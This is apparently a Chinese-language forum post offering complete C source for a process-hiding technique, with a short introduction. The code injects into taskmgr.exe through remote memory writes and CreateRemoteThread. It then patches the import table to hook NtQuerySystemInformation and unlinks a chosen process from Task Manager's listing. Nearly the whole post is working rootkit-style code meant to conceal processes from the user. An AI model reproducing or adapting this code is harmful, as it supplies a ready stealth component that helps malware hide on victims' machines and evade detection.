沒有什麼高級技術 純體力活 原理就不說了 只是沒有通過DLL注入 來實現HOOK API
純粹注入代碼 邪惡二進制上 也有個代碼注入的 只是用了一個未公開的函數,我還看不懂
= =本來想用匯編寫的 發現彙編注入代碼遠比C注入代碼來的繁 所以用C實現了
代碼如下:
- //需要編譯成release版本 DEBUG版本 對函數生成的跳轉地址表
- //jmp xxxxx 寫入遠程進程的時候xxxxx等於寫入了一個全局變量
- // 程序必然崩潰
- #include "Iat_Hook.h"
- char cPath[] = "taskmgr.exe";
- void main(void)
- {
- //定義變量
- DWORD dwPid;
- HANDLE hProcess;
- DWORD dwSize = 2048;
- PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
- REMOTESTRUCT stRemoteStruct;
- //遍歷進程 尋找taskmgr.exe進程ID
- dwPid = GetProcessPid(cPath);
- // open process 得到進程句柄
- hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
- if(hProcess == NULL)
- {
- printf("open error code %d/n",GetLastError());
- return;
- }
- //寫入 替代函數
- MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);
- //初始化結構
- InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);
- //寫入結構
- pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, pRemoteStructAddress, &stRemoteStruct, sizeof(REMOTESTRUCT), NULL);
- //寫入遠程線程函數
- pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);
- //創建遠程線程
- CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 0, 0);
- CloseHandle(hProcess);
- }
- DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
- {
- FARPROC fpVirtualQuery;
- FARPROC fpVirtualProtect;
- FARPROC fpOpenProcess;
- FARPROC fpEnum;
- FARPROC fpGetProcAddress;
- FARPROC fpLoadLibrary;
- FARPROC fpFreeLibrary;
- FARPROC fpWriteMemory;
- FARPROC fplstrcmp;
- HANDLE hProcess = NULL;
- HMODULE hMods[256];
- DWORD dwNeed;
- HANDLE hPsapi;
- MEMORY_BASIC_INFORMATION stMem;
- HMODULE hKernel, hModule;
- PIMAGE_NT_HEADERS pImageNtHeaders;
- PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
- IMAGE_DATA_DIRECTORY ImageImport;
- PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
- PIMAGE_THUNK_DATA pImageThunkData;
- DWORD oldProtect;
- wchar_t *p = pRemoteStruct->cProcessName;
- //初始化函數指針
- fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
- fpVirtualProtect = (FARPROC)pRemoteStruct->dwVirtualProtect;
- fpOpenProcess = (FARPROC)pRemoteStruct->dwOpenProcess;
- fpLoadLibrary = (FARPROC)pRemoteStruct->dwLoadLibrary;
- fpFreeLibrary = (FARPROC)pRemoteStruct->dwFreeLibrary;
- fpGetProcAddress = (FARPROC)pRemoteStruct->dwGetProcAddress;
- fpWriteMemory = (FARPROC)pRemoteStruct->dwWriteProcessMemory;
- fplstrcmp = (FARPROC)pRemoteStruct->dwlstrcmp;
- //得到進程句柄
- hProcess =(HANDLE)fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, pRemoteStruct->dwPid);
- if(!hProcess)
- return 0;
- //得到模塊基址 模塊基址存放於hMods[0]
- hPsapi = (HANDLE)fpLoadLibrary(pRemoteStruct->cDllName);
- fpEnum = (FARPROC)fpGetProcAddress(hPsapi, pRemoteStruct->cFunName);
- fpEnum(hProcess, hMods, sizeof(hMods), &dwNeed);
- fpFreeLibrary(hPsapi);
- hModule = hMods[0];
- //改變內存屬性 因爲採用的不是DLL插入 NtQuerySystemInformation的原始地址無法通過
- //全局變量傳遞給 替代函數 這裏通過把函數地址寫入kernel的PE頭 來實現 這樣只需要在替代函數中讀出地址就可以了
- hKernel = (HANDLE)fpLoadLibrary(pRemoteStruct->cKernel);
- fpVirtualQuery(hKernel,&stMem, sizeof (MEMORY_BASIC_INFORMATION));
- fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
- fpWriteMemory(hProcess, (PBYTE)(hKernel)+4, &pRemoteStruct->dwNtQuerySystem, sizeof(DWORD), NULL);
- fpWriteMemory(hProcess, (PBYTE)(hKernel)+8, &pRemoteStruct->dwlstrcmpW, sizeof(DWORD), NULL);
- fpWriteMemory(hProcess, (PBYTE)(hKernel)+0x14, &p, sizeof(DWORD), NULL);
- fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);
- //查找導入表 找到存放NtQuerySystemInformation
- pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)*((PBYTE)hModule+0x3c) + (DWORD)hModule);
- pImageOptionalHeader = &pImageNtHeaders->OptionalHeader;
- ImageImport = pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
- pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImageImport.VirtualAddress + (DWORD)hModule);
- while(pImageImportDescriptor->Name)
- {
- if(0 == fplstrcmp(pRemoteStruct->cNtdll, (PSTR)(pImageImportDescriptor->Name + (DWORD)hModule)))
- {
- break;
- }
- pImageImportDescriptor++;
- }
- //替換 NtQuerySystemInformation的地址
- pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + (DWORD)hModule);
- while(pImageThunkData->u1.Function)
- {
- if(pImageThunkData->u1.Function == pRemoteStruct->dwNtQuerySystem)
- {
- fpVirtualQuery(&pImageThunkData->u1.Function, &stMem, sizeof (MEMORY_BASIC_INFORMATION));
- fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
- pImageThunkData->u1.Function = pRemoteStruct->dwMyAddress;
- break;
- }
- pImageThunkData++;
- }
- fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);
- return 0;
- }
- NTSTATUS WINAPI myNtQuerySystemInformation (
- SYSTEM_INFORMATION_CLASS SystemInformationClass,
- PVOID SystemInformation,
- ULONG SystemInformationLength,
- PULONG ReturnLength)
- {
- HANDLE hKernel;
- NTSTATUS ntStatus;
- wchar_t *pName;
- PSYSTEM_PROCESS_INFORMATION pCurrent, pForward;
- FARPROC fpNtQuerySystem;
- FARPROC fplstrcmpW;
- //尋找kernel32的基址 準備讀取需要用到的函數地址
- _asm
- {
- mov eax,fs:[0x30]
- mov eax,[eax+0xc]
- mov ecx,[eax+0x1c]
- mov ecx, [ecx]
- mov eax, [ecx+8]
- mov hKernel,eax
- }
- //取得函數地址
- fpNtQuerySystem = *(FARPROC *)((DWORD)hKernel + 4);
- fplstrcmpW = *(FARPROC *)((DWORD)hKernel + 8);
- //取得 需隱藏的進程名
- pName = *(wchar_t **)((DWORD)hKernel + 0x14);
- ntStatus = (NTQUERYSYSTEMINFORMATION)fpNtQuerySystem(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
- if (SystemProcessesAndThreadsInformation == SystemInformationClass)
- {
- pForward = NULL;
- pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
- while(pCurrent->NextEntryDelta)//檢驗是否到 最後一個進程結構
- {
- if(pCurrent->ProcessName.Buffer)
- {
- //_asm int 3
- if(0 == fplstrcmpW(pCurrent->ProcessName.Buffer, pName))
- {
- if(pForward)
- {
- if(pCurrent->NextEntryDelta)//隱藏的進程在鏈表中間
- {
- pForward->NextEntryDelta += pCurrent->NextEntryDelta;
- }
- else//隱藏的進程在鏈表末端
- pForward->NextEntryDelta = 0;
- }
- else //要隱藏的進程在鏈表頭時
- {
- if(pCurrent->NextEntryDelta)
- {
- SystemInformation = (PBYTE)pCurrent + pCurrent->NextEntryDelta;
- }
- else
- SystemInformation = NULL;
- }
- }
- }
- pForward = pCurrent;
- pCurrent = (PSYSTEM_PROCESS_INFORMATION)(pCurrent->NextEntryDelta + (PBYTE)pForward);
- }
- //_asm int 3
- }
- return ntStatus;
- }
- //得到進程PID
- DWORD GetProcessPid(char *cPath)
- {
- PROCESSENTRY32 stProcess;
- HANDLE hSnap;
- BOOL bRet;
- hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if(hSnap == INVALID_HANDLE_VALUE)
- {
- printf("error/n");
- return 0;
- }
- stProcess.dwSize = sizeof (PROCESSENTRY32);
- bRet = Process32First(hSnap, &stProcess);
- if(!bRet)
- {
- printf("first error/n");
- return 0;
- }
- do
- {
- if(0 == strcmp(stProcess.szExeFile, cPath)) //find process of target
- {
- break;
- }
- }while(Process32Next(hSnap, &stProcess));
- //確認 是否找到 目標進程
- if(0 != strcmp(stProcess.szExeFile, "taskmgr.exe"))
- {
- printf("can not find process/n");
- return 0;
- }
- CloseHandle(hSnap);
- return stProcess.th32ProcessID;
- }
- VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid)
- {
- HANDLE hNtdll;
- HANDLE hKernel;
- hNtdll = LoadLibrary("ntdll.dll");
- pRemoteStruct->dwNtQuerySystem = (DWORD)GetProcAddress(hNtdll, "NtQuerySystemInformation");
- FreeLibrary(hNtdll);
- hKernel = LoadLibrary("kernel32.dll");
- pRemoteStruct->dwVirtualProtect = (DWORD)GetProcAddress(hKernel, "VirtualProtect");
- pRemoteStruct->dwVirtualQuery = (DWORD)GetProcAddress(hKernel, "VirtualQuery");
- pRemoteStruct->dwOpenProcess = (DWORD)GetProcAddress(hKernel, "OpenProcess");
- pRemoteStruct->dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
- pRemoteStruct->dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
- pRemoteStruct->dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
- pRemoteStruct->dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel, "WriteProcessMemory");
- pRemoteStruct->dwlstrcmp = (DWORD)GetProcAddress(hKernel, "lstrcmpA");
- pRemoteStruct->dwlstrcmpW = (DWORD)GetProcAddress(hKernel, "lstrcmpW");
- FreeLibrary(hKernel);
- pRemoteStruct->dwMyAddress = MyAddress;
- pRemoteStruct->dwPid = dwPid;
- strcpy(pRemoteStruct->cDllName, "Psapi.dll");
- strcpy(pRemoteStruct->cFunName, "EnumProcessModules");
- strcpy(pRemoteStruct->cKernel,"Kernel32.dll");
- strcpy(pRemoteStruct->cNtdll, "ntdll.dll");
- //要隱藏的進程名
- wcscpy(pRemoteStruct->cProcessName, L"explorer.exe");
- }
- Iat_Hook.h
- //頭文件
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <tlhelp32.h>
- #include <imagehlp.h>
- #include "Winternl.h"
- #pragma comment(lib, "imagehlp")
- //類型聲明
- typedef int NTSTATUS;
- typedef BOOL (__stdcall *ENUMPROCESSMODULES)(
- HANDLE hProcess,
- HMODULE* lphModule,
- DWORD cb,
- LPDWORD lpcbNeeded
- );
- typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
- SYSTEM_INFORMATION_CLASS SystemInformationClass,
- PVOID SystemInformation,
- ULONG SystemInformationLength,
- PULONG ReturnLength
- );
- typedef struct _REMOTE_STRUCT
- {
- DWORD dwNtQuerySystem;
- DWORD dwVirtualQuery;
- DWORD dwVirtualProtect;
- DWORD dwOpenProcess;
- DWORD dwMessageBox;
- DWORD dwLoadLibrary;
- DWORD dwGetProcAddress;
- DWORD dwFreeLibrary;
- DWORD dwWriteProcessMemory;
- DWORD dwlstrcmp;
- DWORD dwlstrcmpW;
- DWORD dwEnum;
- DWORD dwMyAddress;
- DWORD dwPid;
- char cDllName[50];
- char cFunName[50];
- char cKernel[50];
- char cNtdll[50];
- wchar_t cProcessName[50];//要隱藏的進程名
- }REMOTESTRUCT, *PREMOTESTRUCT;
- //函數聲明
- DWORD GetProcessPid(char *cPath);
- DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct);
- VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid);
- NTSTATUS WINAPI myNtQuerySystemInformation (
- SYSTEM_INFORMATION_CLASS SystemInformationClass,
- PVOID SystemInformation,
- ULONG SystemInformationLength,
- PULONG ReturnLength);
- Winternl.h
- typedef struct _UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer; //注意,這裏爲Unicode類型
- } UNICODE_STRING, *PUNICODE_STRING;
- typedef enum _SYSTEM_INFORMATION_CLASS {
- SystemBasicInformation,
- SystemProcessorInformation,
- SystemPerformanceInformation,
- SystemTimeOfDayInformation,
- SystemNotImplemented1,
- SystemProcessesAndThreadsInformation,
- SystemCallCounts,
- SystemConfigurationInformation,
- SystemProcessorTimes,
- SystemGlobalFlag,
- SystemNotImplemented2,
- SystemModuleInformation,
- SystemLockInformation,
- SystemNotImplemented3,
- SystemNotImplemented4,
- SystemNotImplemented5,
- SystemHandleInformation,
- SystemObjectInformation,
- SystemPagefileInformation,
- SystemInstructionEmulationCounts,
- SystemInvalidInfoClass1,
- SystemCacheInformation,
- SystemPoolTagInformation,
- SystemProcessorStatistics,
- SystemDpcInformation,
- SystemNotImplemented6,
- SystemLoadImage,
- SystemUnloadImage,
- SystemTimeAdjustment,
- SystemNotImplemented7,
- SystemNotImplemented8,
- SystemNotImplemented9,
- SystemCrashDumpInformation,
- SystemExceptionInformation,
- SystemCrashDumpStateInformation,
- SystemKernelDebuggerInformation,
- SystemContextSwitchInformation,
- SystemRegistryQuotaInformation,
- SystemLoadAndCallImage,
- SystemPrioritySeparation,
- SystemNotImplemented10,
- SystemNotImplemented11,
- SystemInvalidInfoClass2,
- SystemInvalidInfoClass3,
- SystemTimeZoneInformation,
- SystemLookasideInformation,
- SystemSetTimeSlipEvent,
- SystemCreateSession,
- SystemDeleteSession,
- SystemInvalidInfoClass4,
- SystemRangeStartInformation,
- SystemVerifierInformation,
- SystemAddVerifier,
- SystemSessionProcessesInformation
- } SYSTEM_INFORMATION_CLASS;
- typedef struct _SYSTEM_PROCESS_INFORMATION
- {
- DWORD NextEntryDelta;
- DWORD dThreadCount;
- DWORD dReserved01;
- DWORD dReserved02;
- DWORD dReserved03;
- DWORD dReserved04;
- DWORD dReserved05;
- DWORD dReserved06;
- FILETIME ftCreateTime; /* relative to 01-01-1601 */
- FILETIME ftUserTime; /* 100 nsec units */
- FILETIME ftKernelTime; /* 100 nsec units */
- UNICODE_STRING ProcessName; //這就是進程名
- DWORD BasePriority;
- DWORD dUniqueProcessId; //進程ID
- DWORD dParentProcessID;
- DWORD dHandleCount;
- DWORD dReserved07;
- DWORD dReserved08;
- DWORD VmCounters;
- DWORD dCommitCharge;
- PVOID ThreadInfos[1];
- } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;